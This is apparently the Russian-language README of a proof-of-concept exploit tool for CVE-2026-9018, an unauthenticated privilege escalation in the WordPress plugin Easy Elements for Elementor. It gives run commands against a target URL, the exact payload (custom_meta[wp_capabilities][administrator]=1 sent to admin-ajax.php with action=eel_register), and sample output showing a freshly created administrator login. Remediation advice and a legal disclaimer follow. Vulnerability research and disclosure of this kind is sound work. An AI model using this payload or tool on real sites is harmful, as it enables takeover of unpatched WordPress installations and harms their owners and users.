CVE-2026-9018

CVE-2026-9018 — Easy Elements for Elementor ≤ 1.4.5 | Эскалация привилегий без аутентификации

Исследование: Atomic Edge Серьезность: Высокая | CVSS: 8.8 | Требуется аутентификация: Нет

Обзор

Уязвимость эскалации привилегий без аутентификации существует в плагине WordPress Easy Elements for Elementor – Addons & Website Templates (версии ≤ 1.4.5). Функция easyel_handle_register(), доступная через обработчик AJAX wp_ajax_nopriv_eel_register, передает управляемые атакующим значения POST из custom_meta напрямую в update_user_meta() без какого-либо белого списка ключей. Это позволяет неаутентифицированному атакующему перезаписать мета-ключ wp_capabilities и создать учетную запись с правами администратора.

Предварительные условия

Перед эксплуатацией на целевом сайте должны быть выполнены следующие условия:

• ✅ В WordPress включена регистрация пользователей (Настройки → Общие → Любой может зарегистрироваться)
• ✅ Страница с виджетом входа/регистрации плагина общедоступна
• ✅ Виджет предоставляет значение easy_elements_nonce в DOM страницы.

Требования

pip install requests

Использование

# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com

# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!

# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login

Аргументы

Пример вывода

[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5

[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email    : [email protected]
[*] Role     : administrator (via wp_capabilities override)

[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!

    ┌─────────────────────────────────────────┐
    │  WP Admin  : https://target.com/wp-admin/
    │  Username  : atomic_admin
    │  Password  : Atomic@Edge2026!
    └─────────────────────────────────────────┘

Технические детали

Эксплойт состоит из двух шагов:

Шаг 1 — Сбор nonce Виджет входа/регистрации Elementor плагина отображает скрытое поле easy_elements_nonce в HTML страницы. Этот nonce доступен любому неаутентифицированному посетителю и извлекается с помощью регулярного выражения из исходного кода страницы.

Шаг 2 — Вредоносная регистрация Отправляется POST-запрос на /wp-admin/admin-ajax.php с параметром action=eel_register. Массив custom_meta формируется таким образом, чтобы включать:

custom_meta[wp_capabilities][administrator] = 1

Поскольку easyel_handle_register() передает все ключи custom_meta напрямую в update_user_meta() без белого списка, пользовательская мета wp_capabilities перезаписывается после регистрации, предоставляя новому пользователю полные права администратора.

Устранение уязвимости

Разработчики должны применить следующие исправления в easyel_handle_register():

1. Внедрить строгий белый список разрешенных ключей custom_meta (например, first_name, last_name, phone)
2. Явно заблокировать чувствительные ключи: wp_capabilities, wp_user_level, session_tokens
3. Избегать обработки любых предоставленных пользователем мета-данных после wp_insert_user(), если это не требуется
4. Только санитизация входных данных недостаточна — необходим белый список

→ Обновите Easy Elements for Elementor до версии 1.4.6 или новее немедленно.

Отказ от ответственности

Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте этот инструмент против какой-либо системы без явного письменного разрешения владельца системы. Несанкционированное использование может нарушать CFAA (США), Уголовный кодекс s.342.1 (Канада), Директиву ЕС NIS2 и другие применимые законы. Авторы не несут ответственности за неправильное использование или ущерб, возникший в результате использования этого кода.